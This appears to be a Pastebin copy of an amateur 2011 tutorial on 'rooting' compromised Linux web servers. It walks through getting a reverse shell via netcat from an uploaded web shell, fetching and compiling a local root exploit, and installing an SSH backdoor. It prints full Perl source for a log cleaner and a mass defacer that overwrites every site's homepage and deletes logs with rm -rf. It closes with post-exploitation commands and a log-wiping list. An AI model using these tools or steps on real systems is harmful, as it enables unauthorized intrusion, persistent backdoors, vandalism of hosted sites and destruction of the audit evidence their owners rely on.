silentBD

linux rooting

Dec 4th, 2011
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.87 KB | None | 0 0
  1. # Title: Rooting Linux Servers for beginners
  2. # Date : 25 January 2011
  3. # Author:r0ut3r5934
  4. # Email: r0ut3r5934[at]gmail.com
  5. # Facebook: fb[dot]com/r0ut3r
  6.  
  7. # Introduction- Hello All, This My second paper after Sql Injection. My first was much
  8. successful :) thanks
  9. to all for all those Lovely compliments. This paper will not be so long as my first one was
  10. of 14 pages :D.
  11. Let's Start,
  12. # Things you need-
  13. => A Shell on a website
  14. => An Exploit
  15. => Log cleaner
  16. => Ssh Backdoor
  17. => Netcat
  18. => A Brain
  19. => Get these from Google ;) lolz
  20. # What is rooting ?
  21. A. Getting access to the user => "root", the main admin of the site.
  22. # What is the need of rooting ?
  23. A. Getting Juicy info :)
  24. Now I begin,
  25. # Getting Backconnection to the server-
  26. => Copy the Netcat directory to C:\
  27. => Open command prompt, type: CD C:\NETCAT
  28. It'll look like this:
  29. [code]
  30. Microsoft Windows [Version 6.1.7600]
  31. Copyright (c) 2009 Microsoft Corporation. All rights reserved.
  32. C:\Users\Ash>cd c:\netcat
  33. c:\netcat>
  34. [/code]
  35. => Now Type: nc -l -v -p 2121
  36. It'll look like-
  37. [code]
  38. c:\netcat>nc -l -v -p 2121
  39. listening on [any] 2121 ...
  40. -1-
  41.  
  42.  
  43. [/code]
  44. => Open your Shell in your browser, go to the backconnection tab, if it is not there get a
  45. shell like "B374k" or Any other
  46. thats your choice.
  47. => Specify your ip & port as 2121. press connect, now you'll get a shell to the server, you
  48. can give commands to the server through that shell.
  49. # Getting a Right exploit for the server-
  50. => Type : Uname -a & hit enter.
  51. It'll look something like this:
  52. [code]
  53. [[email protected] /home/saijyoti/public_html/cgi-bin]$ uname -a
  54. Linux dualxeon09.ns5.999servers.com 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010
  55. x86_64 x86_64 x86_64 GNU/Linux
  56. [/code]
  57. => It shows the kernal version of the server is: 2.6.18-194.26.1.el5
  58. & Year is 2010.
  59. => You need to find a perfect exploit for it. you can find them at-
  60. # Exploit-db.com
  61. # Packetstormsecurity.org
  62. # Th3-0utl4ws.com
  63. # Leetupload.com
  64. # Compiling & executing exploit-
  65. => Now I've got a exploit, & it is written in C. So I can't execute it by just uploading.
  66. but I need to compile it.
  67. => Before proceeding further, Cd into the tmp directory, coz it is always writable. So type:
  68. Cd /home/XXXXX/public_html/tmp
  69. // The path can be different, replace it with yours.
  70. => So first I'll get the exploit on the server, So I type : Wget
  71. http://exploitsite.net/2010-exploits/exploit.c
  72. // Note: There is no such site, I'm just taking it to show you.
  73. It'll look something Like this-
  74. [code]
  75. [[email protected] /home/saijyoti/public_html/tmp]$ wget
  76. http://exploitsite.net/2010-exploits/exploit.c
  77. --2011-01-25 08:21:43-- http://exploitsite.net/2010-exploits/exploit.c
  78. Resolving www.exploitsite.net... 199.58.192.192
  79. Connecting to www.exploitsite.net|199.58.192.192|:80... connected.
  80. HTTP request sent, awaiting response... 200 OK
  81. Length: 15088 (15K) [text/x-csrc]
  82. Saving to: `exploit.c'
  83. 0K .......... .... 100% 189K=0.08s
  84. 2011-01-25 08:21:44 (189 KB/s) - `exploit.c' saved [ 15088/15088 ]
  85. [/code]
  86. -2-
  87. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  88. => now change the permission of the exploit to 777.
  89. Type: Chmod 777 exploit.c
  90. It may look like:
  91. [code]
  92. [[email protected] /home/saijyoti/public_html/tmp]$ chmod 777 ImpelDown.c
  93. [/code]
  94. => Now the exploit is On my server, I just need to compile & execute it.
  95. So, I'll give the command: gcc -o exploit exploit.c
  96. It'll compile & save the exploit as => exploit
  97. It may look like-
  98. [code]
  99. [[email protected] /home/saijyoti/public_html/tmp]$ gcc -o exploit exploit.c
  100. [/code]
  101. => Next step is to execute it So we'll type: ./exploit
  102. It may look like:
  103. [code]
  104. [[email protected] /home/saijyoti/public_html/tmp]$ gcc -o ImpelDown.c
  105. got root you m0f0 !!
  106. [/code]
  107. => Now it say got root. Let's Check is it true,
  108. Type: id
  109. It may look like
  110. [code]
  111. uid=0(saijyoti) gid=0(saijyoti) groups=0(root)
  112. [/code]
  113. => Which Means I got root :)
  114. # Installing Backdoor-
  115. => type- Wget urlofbackdoor.com/sshdoor.zip
  116. => Then Type,
  117. Unzip Sshdoor.zip
  118. => Then type, ./run pass port
  119. ^ replace pass with your password, & a port.
  120. => Now connect with putty & enjoy root privileges. ;)
  121. ##################################################################################
  122. => Methods to execute exploits written in other languages-
  123. -3-
  124. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  125. #C exploitgcc
  126. -o exploit exploit.c
  127. chmod +x exploit
  128. ./exploit
  129. #Perlperl
  130. exploit.pl
  131. #pythonpython
  132. exploit.py
  133. #phpphp
  134. exploit.php
  135. #zip
  136. unzip exploit.zip
  137. ./run
  138. ##################################################################################
  139. => Cleaning Logs-
  140. # you can use my log cleaner to clear your track :D. It is written in perl. save it as
  141. anything.pl
  142. & to execute type: perl anything.pl
  143. here is the code-
  144. [perl]
  145. #!usr/bin/perl -w #Warnings enabled!
  146. #Log cleaner version Public
  147. #Give Credits Where Needed - Kouros!
  148. #This took time, Hope you fucking use it :D
  149. #Report bugs to [email protected]
  150. #NOTE - YOU MUST BE ROOT!
  151. print qq^
  152. ####################################
  153. # Log Cleaner 3.0 PUBLIC #
  154. # Kouros #
  155. # #
  156. # Virangar Security Team #
  157. # http://www.Kouros-bl4ckhat.com #
  158. ####################################
  159. ^;
  160. while(1) {
  161. print "Enter Which OS: "; #User Input
  162. chomp($os = <STDIN>); #Takes it into memory
  163. if($os eq "help"){
  164. -4-
  165. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  166. print "[+]Enter Your OS! Choose from 'linux', 'aix', 'sunos', 'irix'\n";
  167. print "[+]Hit enter with OS, Let the script do its work\n";
  168. print "[+]Note: You MUST Be Root!\n";
  169. print "[+]Contact Info[at]Kouros-bl4ckhat [dot] Com";
  170. print "[+]For Bug finds... Have Fun!\n";
  171. print "[+] - Kouros";
  172. }
  173. if($os eq "linux"){ #If linux typed, do the following and start brackets
  174. foreach my $logphile(@linux) {
  175. unlink($logphile) || print "[-]Fucked up: \"$logphile\" : $!\n";
  176. }
  177. } elsif($os eq "sunos"){ #If sunos typed, do the following and start brackets
  178. foreach my $logphile(@sunos) {
  179. unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
  180. }
  181. } elsif($os eq "aix"){ #If aix typed, do the following and start brackets
  182. foreach my $logphile(@aix) {
  183. unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
  184. }
  185. } elsif($os eq "irix"){ #If irix typed, do the following and start bracket
  186. foreach my $logphile(@irix) {
  187. unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
  188. }
  189. } else { print"Umm WTF !?\n"; }
  190. #Logs of Irix Systems
  191. { #Start Irix Bracket
  192. @irix = ("/var/adm/SYSLOG", "/var/adm/sulog", "/var/adm/utmp", "/var/adm/utmpx",
  193. "/var/adm/wtmp", "/var/adm/wtmpx", "/var/adm/lastlog/",
  194. "/usr/spool/lp/log", "/var/adm/lp/lp-errs", "/usr/lib/cron/log",
  195. "/var/adm/loginlog", "/var/adm/pacct", "/var/adm/dtmp",
  196. "/var/adm/acct/sum/loginlog", "var/adm/X0msgs", "/var/adm/crash/vmcore",
  197. "/var/adm/crash/unix") #End Array
  198. } #End Irix Bracket
  199. #Log sof Aix Systems
  200. { #Start Aix Bracket
  201. @aix = ("/var/adm/pacct", "/var/adm/wtmp", "/var/adm/dtmp", "/var/adm/qacct",
  202. "/var/adm/sulog", "/var/adm/ras/errlog", "/var/adm/ras/bootlog",
  203. "/var/adm/cron/log", "/etc/utmp", "/etc/security/lastlog",
  204. "/etc/security/failedlogin", "usr/spool/mqueue/syslog") #End Array
  205. } #End Aix Bracket
  206. #Logs of SunOS Systems
  207. { #Start SunOS Bracket
  208. @sunos = ("/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog",
  209. "/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp",
  210. "/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx",
  211. "/var/adm/log/asppp.log", "/var/log/syslog",
  212. "/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct",
  213. "/var/lp/logs/lpsched", "/var/lp/logs/requests",
  214. "/var/cron/logs", "/var/saf/_log", "/var/saf/port/log") #End Array
  215. } #End Sunos bracket
  216. #Logs of Linux Systems
  217. -5-
  218. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  219. { #Start Linux Bracket
  220. @linux = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp",
  221. "/var/log/secure","/root/.ksh_history", "/root/.bash_history",
  222. "/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp",
  223. "/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
  224. "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs",
  225. "/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
  226. "/var/log/messages/", "/var/log/proftpd/xferlog.legacy",
  227. "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log",
  228. "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log",
  229. "/var/log/httpsd/ssl.access_log", "/etc/mail/access",
  230. "/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
  231. "/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority",
  232. "/var/log/poplog", "/var/log/news.all", "/var/log/spooler",
  233. "/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
  234. "/var/log/news/news.crit", "/var/log/news/news.err",
  235. "/var/log/news/news.notice",
  236. "/var/log/news/suck.err", "/var/log/news/suck.notice",
  237. "/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks",
  238. "/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log",
  239. "/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs",
  240. "/var/log/auth") #End array
  241. } #End linux bracket
  242. } #Ends Loop
  243. [/perl]
  244. ##################################################################################
  245. => Mass deface- I've a perl to mass deface sites on the server. execute it as the same way
  246. as above.
  247. [perl]
  248. # MSRml V 0.1 #
  249. # #
  250. # MOROCCO.SECURITY.RULZ mass defacer and log eraser #
  251. # #
  252. # coded by PRI[ll #
  253. # #
  254. # !!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!! #
  255. # #
  256. # 05/07/2005 #
  257. # #
  258. -6-
  259. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  260. # usage : perl MSRml.pl <path to index> #
  261. # #
  262. # example : perl MSRml.pl /tmp/index.html #
  263. # #
  264. #!/usr/bin/perl
  265. use strict;
  266. my $index = $ARGV[0];
  267. if ($ARGV[0])
  268. {
  269. if( -e $index )
  270. {
  271. system "echo -e "33[01;34mStarted MSRml V0.1 by PRI[ll Ok !!33[01;37m"n";
  272. system "echo -e "\033[01;37mDefacing all homepages ..."n";
  273. system "find / -name "index*" -exec cp $index {} \;";
  274. system "find / -name "main*" -exec cp $index {} \;";
  275. system "find / -name "home*" -exec cp $index {} \;";
  276. system "find / -name "default*" -exec cp $index {} \;";
  277. system "echo -e "\033[01;37m[+] done ! all sites in this box are defaced !"n";
  278. system "echo -e "\033[01;37m----------------------------------------------------------"n";
  279. system "echo -e "\033[01;37mCleaning up logs ..."n";
  280. system "echo -e "33[01;34m---------erasing default log files (too fast
  281. =))---------33[01;37m"n";
  282. if( -e "/var/log/lastlog" )
  283. {
  284. system 'rm -rf /var/log/lastlog';
  285. system "echo -e "\033[01;37m [*]/var/log/lastlog -erased Ok"n";
  286. }
  287. -7-
  288. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  289. else
  290. {
  291. system "echo -e "\033[01;31m[*]/var/log/lastlog - No such file or directory\033[01;37m"n";
  292. }
  293. if( -e "/var/log/wtmp" )
  294. {
  295. system 'rm -rf /var/log/wtmp';
  296. system "echo -e "\033[01;37m [*]/var/log/wtmp -erased Ok"n";
  297. }
  298. else
  299. {
  300. system "echo -e "\033[01;31m[*]/var/log/wtmp - No such file or directory\033[01;37m"n";
  301. }
  302. if( -e "/etc/wtmp" )
  303. {
  304. system 'rm -rf /etc/wtmp';
  305. system "echo -e "\033[01;37m [*]/etc/wtmp -erased Ok"n";
  306. }
  307. else
  308. {
  309. system "echo -e "\033[01;31m[*]/etc/wtmp - No such file or directory\033[01;37m"n";
  310. }
  311. if( -e "/var/run/utmp" )
  312. {
  313. system 'rm -rf /var/run/utmp';
  314. system "echo -e "\033[01;37m [*]/var/run/utmp -erased Ok"n";
  315. }
  316. else
  317. -8-
  318. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  319. {
  320. system "echo -e "\033[01;31m[*]/var/run/utmp - No such file or directory\033[01;37m"n";
  321. }
  322. if( -e "/etc/utmp" )
  323. {
  324. system 'rm -rf /etc/utmp';
  325. system "echo -e "\033[01;37m [*]/etc/utmp -erased Ok"n";
  326. }
  327. else
  328. {
  329. system "echo -e "\033[01;31m[*]/etc/utmp - No such file or directory\033[01;37m"n";
  330. }
  331. if( -e "/var/log" )
  332. {
  333. system 'rm -rf /var/log';
  334. system "echo -e "\033[01;37m [*]/var/log -erased Ok"n";
  335. }
  336. else
  337. {
  338. system "echo -e "\033[01;31m[*]/var/log - No such file or directory\033[01;37m"n";
  339. }
  340. if( -e "/var/logs" )
  341. {
  342. system 'rm -rf /var/logs';
  343. system "echo -e "\033[01;37m [*]/var/logs -erased Ok"n";
  344. }
  345. else
  346. {
  347. system "echo -e "\033[01;31m[*]/var/logs - No such file or directory\033[01;37m"n";
  348. -9-
  349. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  350. }
  351. if( -e "/var/adm" )
  352. {
  353. system 'rm -rf /var/adm';
  354. system "echo -e "\033[01;37m [*]/var/adm -erased Ok"n";
  355. }
  356. else
  357. {
  358. system "echo -e "\033[01;31m[*]/var/adm - No such file or directory\033[01;37m"n";
  359. }
  360. if( -e "/var/apache/log" )
  361. {
  362. system 'rm -rf /var/apache/log';
  363. system "echo -e "\033[01;37m [*]/var/apache/log -erased Ok"n";
  364. }
  365. else
  366. {
  367. system "echo -e "\033[01;31m[*]/var/apache/log - No such file or directory\033[01;37m"n";
  368. }
  369. if( -e "/var/apache/logs" )
  370. {
  371. system 'rm -rf /var/apache/logs';
  372. system "echo -e "\033[01;37m [*]/var/apache/logs -erased Ok"n";
  373. }
  374. else
  375. {
  376. system "echo -e "\033[01;31m[*]/var/apache/logs - No such file or directory\033[01;37m"n";
  377. }
  378. -10-
  379. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  380. if( -e "/usr/local/apache/log" )
  381. {
  382. system 'rm -rf /usr/local/apache/log';
  383. system "echo -e "\033[01;37m [*]/usr/local/apache/log -erased Ok"n";
  384. }
  385. else
  386. {
  387. system "echo -e "\033[01;31m[*]/usr/local/apache/log - No such file or
  388. directory\033[01;37m"n";
  389. }
  390. if( -e "/usr/local/apache/logs" )
  391. {
  392. system 'rm -rf /usr/local/apache/logs';
  393. system "echo -e "\033[01;37m [*]/usr/local/apache/logs -erased Ok"n";
  394. }
  395. else
  396. {
  397. system "echo -e "\033[01;31m[*]/usr/local/apache/logs - No such file or
  398. directory\033[01;37m"n";
  399. }
  400. if( -e "/root/.bash_history" )
  401. {
  402. system 'rm -rf /root/.bash_history';
  403. system "echo -e "\033[01;37m [*]/root/.bash_history -erased Ok"n";
  404. }
  405. else
  406. {
  407. system "echo -e "\033[01;31m[*]/root/.bash_history - No such file or directory\033[01;37m"n";
  408. }
  409. if( -e "/root/.ksh_history" )
  410. -11-
  411. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  412. {
  413. system 'rm -rf /root/.ksh_history';
  414. system "echo -e "\033[01;37m [*]/root/.ksh_history -erased Ok"n";
  415. }
  416. else
  417. {
  418. system "echo -e "\033[01;31m[*]/root/.ksh_history - No such file or directory\033[01;37m"n";
  419. }
  420. system "echo -e "\033[01;37m[+] -----done all default log and bash_history files erased !!"n";
  421. system "echo -e "33[01;34m---------Now Erasing the rest of the machine log files (can be
  422. long :S)---------33[01;37m"n";
  423. system 'find / -name *.bash_history -exec rm -rf {} ;';
  424. system "echo -e "\033[01;37m[*] all *.bash_history files -erased Ok!"n";
  425. system 'find / -name *.bash_logout -exec rm -rf {} ;';
  426. system "echo -e "\033[01;37m[*] all *.bash_logout files -erased Ok!"n";
  427. system 'find / -name "log*" -exec rm -rf {} ;';
  428. system "echo -e "\033[01;37m[*] all log* files -erased Ok!"n";
  429. system 'find / -name *.log -exec rm -rf {} ;';
  430. system "echo -e "\033[01;37m[*] all *.log files -erased Ok!"n";
  431. system "echo -e "33[01;34m-------[+] !done all log files erased![+]-------33[01;37m"n";
  432. system "echo -e "33[01;34m---------------------------------------------------33[01;37m"n";
  433. system "echo -e "33[01;34m-----------------MSRml V 0.1----------------------33[01;37m"n";
  434. }
  435. else
  436. {
  437. system "echo -e "\033[01;31m[-] Failed ! the path to u're index could not be found
  438. !\033[01;37m"n";
  439. exit;
  440. }
  441. -12-
  442. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  443. }
  444. else
  445. {
  446. system "echo -e "\033[01;37m!!Morocco.Security.Rulz mass defacer and log eraser !!"n";
  447. system "echo -e "\033[01;37m!!!!!!!!!!!!!!!!!!coded by PRI[ll!!!!!!!!!!!!!!!!!!!!!!!!"n";
  448. system "echo -e
  449. "\033[01;31m!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!\033[01;37m"n";
  450. system "echo -e "\033[01;37musage : perl $0 <path too u're index>"n";
  451. system "echo -e "\033[01;37mexample : perl $0 /tmp/index.html"n";
  452. exit;
  453. }
  454. [/code]
  455. ##################################################################################
  456. => Important Commands-
  457. ./../mainfile.php - Config file.
  458. ls -la - Lists directory's.
  459. ifconfig {eth0 etc} - Ipconfig equiv.
  460. ps aux - Show running proccess's.
  461. gcc in_file -o out_file - Compile c file.
  462. cat /etc/passwd - List's accounts.
  463. sudo - Superuser Do run a command as root provided you have perms
  464. in /etc/sudoers.
  465. id - Tells you what user your logged in as.
  466. which wget curl w3m lynx - Check's to see what downloaders are
  467. present.
  468. uname -r - Shows all release info (or) cat /etc/release.
  469. uname -a - Shows all kernal info (or) cat /etc/issue
  470. last -30 - Last logged 30 ip's can change to desired number.
  471. useradd - Create new user account.
  472. usermod - Modify user account.
  473. w - See who is currently logged on.
  474. -13-
  475. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  476. locate password.txt - Locates password.txt in current dur can use *.
  477. rm -rf / - Please be carefull with this command, i cannot stress this
  478. enough.
  479. arp -a - Lists other machines are on the same subnet.
  480. lsattr -va - ls file attributes on linux second extended file system
  481. find / -type f -perm -04000 -ls - Finds suid files.
  482. find . -type f -perm -04000 -ls - Finds suid files in current dir.
  483. find / -type f -perm -02000 -ls - Finds all sgid files.
  484. find / -perm -2 -ls - Finds all writable files and folders.
  485. find . -perm -2 -ls - Finds all writable files and folders in current dir.
  486. find / -type f -name .bash_history - Finds bash history.
  487. netstat -an | grep -i listen - shows open ports.
  488. cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user
  489. with no pass.
  490. find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?.
  491. cat /proc/version /proc/cpuinfo - Cpu info.
  492. locate gcc- Finds gcc if installed.
  493. set - Display system variables.
  494. echo $path- Echo current path.
  495. lsmod- Dumps kernal modules.
  496. mount/df- Check mounted file system.
  497. rpm -qa- Check patch level for RedHat 7.0.
  498. dmesg- Check hardware ino.
  499. cat /etc/syslog.conf - Log file.
  500. uptime - Uptime check.
  501. cat /proc/meminfo - Memory check.
  502. find / -type f -perm -4 -print 2> /dev/null- Find readble files.
  503. find / -type f -perm -2 -print 2> /dev/null - Find writable files.
  504. chmod ### $folder - Chmod folder.
  505. -14-
  506. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  507. ls -l -b - Verbosly list directory's
  508. -------------clear-logs-----------------
  509. rm -rf /tmp/logs
  510. rm -rf $HISTFILE
  511. rm -rf /root/.ksh_history
  512. rm -rf /root/.bash_history
  513. rm -rf /root/.ksh_history
  514. rm -rf /root/.bash_logout
  515. rm -rf /usr/local/apache/logs
  516. rm -rf /usr/local/apache/log
  517. rm -rf /var/apache/logs
  518. rm -rf /var/apache/log
  519. rm -rf /var/run/utmp
  520. rm -rf /var/logs
  521. rm -rf /var/log
  522. rm -rf /var/adm
  523. rm -rf /etc/wtmp
  524. rm -rf /etc/utmp
  525. history -c
  526. find / -name *.bash_history -exec rm -rf {} \;
  527. find / -name *.bash_logout -exec rm -rf {} \;
  528. find / -name "log*" -exec rm -rf {} \;
  529. find / -name *.log -exec rm -rf {} \;
  530. -------------------------------------------------
  531. cat filename | more
  532. ^ Pipe large files through more for easy reading
  533. ifconfig | grep Addr
  534. ^ Get the local Internet Protocol and Hardware address(s) for your machine
  535. cat binary | awk "{print $5}"
  536. ^ Print a binary file out in hex
  537. $(echo "HEAD / HTTP/1.0";echo "";echo "") | telnet host 80
  538. ^ Get the webserver type and identification
  539. The best feature of bash is piping. Piping means threading the output of one
  540. program to another. For example you can do ls | more to pipe the output of
  541. ls to more and easily read the contents of large directories. You can also do
  542. ls | grep myfile to find myfile in the current directory.
  543. cd /;find | grep goodfile
  544. ^ Search the entire FileSystem for a file called goodfile
  545. su -x "command"
  546. ^ Run a command as root
  547. sudo command
  548. ^ Run a command as a su-uid user
  549. chmod a+rwx file
  550. ^ Change the permissions of a file and make it executable, readable, and writable to all users
  551. rm removes a file only if the user deleting it has permissions to that file.
  552. rm -f removes a file forcibly (permissions still apply).
  553. rm -rf recursively and forcefully remove a directory. You should know about permissions by
  554. now.
  555. ##################################################################################
  556.  
  557.  
  558. This is the end of my this paper, Hope you enjoyed it. :)
  559. # Greetz- graphicera, skit, hrit & my friends. ;)
  560. ## References ##
  561. # Google :P
  562. ##################################################################################
  563.  
  564.  
Advertisement
Add Comment
Please, Sign In to add comment